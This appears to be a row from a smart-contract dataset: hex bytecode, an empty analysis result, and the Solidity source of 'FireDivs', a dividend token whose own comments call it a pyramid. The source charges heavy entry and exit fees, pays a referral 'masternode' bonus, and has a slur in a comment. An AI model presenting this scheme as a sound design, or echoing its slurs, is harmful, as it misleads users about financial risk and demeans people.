f16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b611374816008611a5a90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b6113ce8160086119ab90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b6000600460009054906101000a900460ff1615151561143257600080fd5b61143c8383611b0a565b905092915050565b6000600460009054906101000a900460ff1615151561146257600080fd5b61146c8383611d41565b905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114b157600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561162e57600080fd5b6116bd82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611748848484611d79565b600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561179057600080fd5b61181f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008082840190508381101515156119a157600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156119e757600080fd5b6119f18282611218565b15156119fc57600080fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a9657600080fd5b611aa08282611218565b151515611aac57600080fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611b4757600080fd5b611bd682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000611d4e338484611d79565b6001905092915050565b600080838311151515611d6a57600080fd5b82840390508091505092915050565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611dc657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611e0257600080fd5b611e53816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ee6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a72305820a79600ad0f199ecddd7a70ac991a53cc56d96a3148f36cd33170386b014d91d60029 | {"success": true, "error": null, "results": {}} | 117 |
0x74961f09e527fc8b11e2d3bc77f45cd837f44ce2 | pragma solidity ^0.4.20;
contract FireDivs {
/*=================================
= MODIFIERS =
=================================*/
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "FIRE DIVIDENDS";
string public symbol = "FIRE";
uint8 constant public decimals = 18;
/// @dev 20% dividends for token purchase
uint8 constant internal entryFee_ = 20;
/// @dev 1% dividends for token transfer
uint8 constant internal transferFee_ = 1;
/// @dev 30% dividends for token selling
uint8 constant internal exitFee_ = 30;
/// @dev 15% masternode
uint8 constant internal refferalFee_ = 15;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev 250 Medaillions needed for masternode activation
uint256 public stakingRequirement = 250e18;
/*=================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
/**
* @dev Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function() payable public {
purchaseTokens(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
/**
* @dev Transfer tokens from the caller to a new holder.
* Remember, there's a 1% fee here as well.
*/
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// liquify 1% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
/*=====================================
= HELPERS AND CALCULATORS =
=====================================*/
/**
* @dev Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* @dev Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
/**
* @dev Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
/**
* @dev Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0x606060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461011f57806306fdde031461016c57806310d0ffdd146101fa57806318160ddd14610231578063226093731461025a578063313ce567146102915780633ccfd60b146102c05780634b750334146102d557806356d399e8146102fe578063688abbf7146103275780636b2f46321461036057806370a08231146103895780638620410b146103d6578063949e8acd146103ff57806395d89b4114610428578063a9059cbb146104b6578063e4849b3214610510578063e9fad8ee14610533578063f088d54714610548578063fdb5a03e1461058a575b61011c34600061059f565b50005b341561012a57600080fd5b610156600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061098d565b6040518082815260200191505060405180910390f35b341561017757600080fd5b61017f610a2f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bf5780820151818401526020810190506101a4565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020557600080fd5b61021b6004808035906020019091905050610acd565b6040518082815260200191505060405180910390f35b341561023c57600080fd5b610244610b0f565b6040518082815260200191505060405180910390f35b341561026557600080fd5b61027b6004808035906020019091905050610b19565b6040518082815260200191505060405180910390f35b341561029c57600080fd5b6102a4610b6c565b604051808260ff1660ff16815260200191505060405180910390f35b34156102cb57600080fd5b6102d3610b71565b005b34156102e057600080fd5b6102e8610d0e565b6040518082815260200191505060405180910390f35b341561030957600080fd5b610311610d75565b6040518082815260200191505060405180910390f35b341561033257600080fd5b61034a60048080351515906020019091905050610d7b565b6040518082815260200191505060405180910390f35b341561036b57600080fd5b610373610de7565b6040518082815260200191505060405180910390f35b341561039457600080fd5b6103c0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e06565b6040518082815260200191505060405180910390f35b34156103e157600080fd5b6103e9610e4f565b6040518082815260200191505060405180910390f35b341561040a57600080fd5b610412610eb6565b6040518082815260200191505060405180910390f35b341561043357600080fd5b61043b610ecb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561047b578082015181840152602081019050610460565b50505050905090810190601f1680156104a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104c157600080fd5b6104f6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f69565b604051808215151515815260200191505060405180910390f35b341561051b57600080fd5b610531600480803590602001909190505061128c565b005b341561053e57600080fd5b6105466114db565b005b610574600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611542565b6040518082815260200191505060405180910390f35b341561059557600080fd5b61059d611554565b005b60008060008060008060008060003397506105c86105c18c601460ff166116c8565b6064611703565b96506105e26105db88600f60ff166116c8565b6064611703565b95506105ee878761171e565b94506105fa8b8861171e565b935061060584611737565b92506801000000000000000085029150600083118015610631575060065461062f846006546117c0565b115b151561063c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff16141580156106a557508773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b80156106f25750600254600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1561078857610740600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054876117c0565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107a3565b61079285876117c0565b945068010000000000000000850291505b6000600654111561080e576107ba600654846117c0565b6006819055506006546801000000000000000086028115156107d857fe5b0460076000828254019250508190555060065468010000000000000000860281151561080057fe5b048302820382039150610816565b826006819055505b61085f600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846117c0565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836007540203905080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508973ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d8642610952610e4f565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a3829850505050505050505092915050565b600068010000000000000000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007540203811515610a2757fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ac55780601f10610a9a57610100808354040283529160200191610ac5565b820191906000526020600020905b815481529060010190602001808311610aa857829003601f168201915b505050505081565b600080600080610aeb610ae486601460ff166116c8565b6064611703565b9250610af7858461171e565b9150610b0282611737565b9050809350505050919050565b6000600654905090565b6000806000806006548511151515610b3057600080fd5b610b39856117de565b9250610b53610b4c84601e60ff166116c8565b6064611703565b9150610b5f838361171e565b9050809350505050919050565b601281565b6000806000610b806001610d7b565b111515610b8c57600080fd5b339150610b996000610d7b565b9050680100000000000000008102600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610cbc57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b60008060008060006006541415610d3257633b9aca006402540be400039350610d6f565b610d43670de0b6b3a76400006117de565b9250610d5d610d5684601e60ff166116c8565b6064611703565b9150610d69838361171e565b90508093505b50505090565b60025481565b60008033905082610d9457610d8f8161098d565b610ddf565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ddd8261098d565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060006006541415610e7357633b9aca006402540be400019350610eb0565b610e84670de0b6b3a76400006117de565b9250610e9e610e9784601460ff166116c8565b6064611703565b9150610eaa83836117c0565b90508093505b50505090565b600080339050610ec581610e06565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f615780601f10610f3657610100808354040283529160200191610f61565b820191906000526020600020905b815481529060010190602001808311610f4457829003601f168201915b505050505081565b600080600080600080610f7a610eb6565b111515610f8657600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548611151515610fd757600080fd5b6000610fe36001610d7b565b1115610ff257610ff1610b71565b5b61100a61100387600160ff166116c8565b6064611703565b9250611016868461171e565b9150611021836117de565b905061102f6006548461171e565b60068190555061107e600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761171e565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061110a600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836117c0565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560075402600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160075402600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061121360075460065468010000000000000000840281151561120d57fe5b046117c0565b6007819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b600080600080600080600061129f610eb6565b1115156112ab57600080fd5b339550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487111515156112fc57600080fd5b869450611308856117de565b935061132261131b85601e60ff166116c8565b6064611703565b925061132e848461171e565b915061133c6006548661171e565b60068190555061138b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548661171e565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856007540201905080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600060065411156114655761145e60075460065468010000000000000000860281151561145857fe5b046117c0565b6007819055505b8573ffffffffffffffffffffffffffffffffffffffff167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e8684426114a8610e4f565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b600080339150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115611536576115358161128c565b5b61153e610b71565b5050565b600061154e348361059f565b50919050565b6000806000806115646001610d7b565b11151561157057600080fd5b61157a6000610d7b565b9250339150680100000000000000008302600560008473ff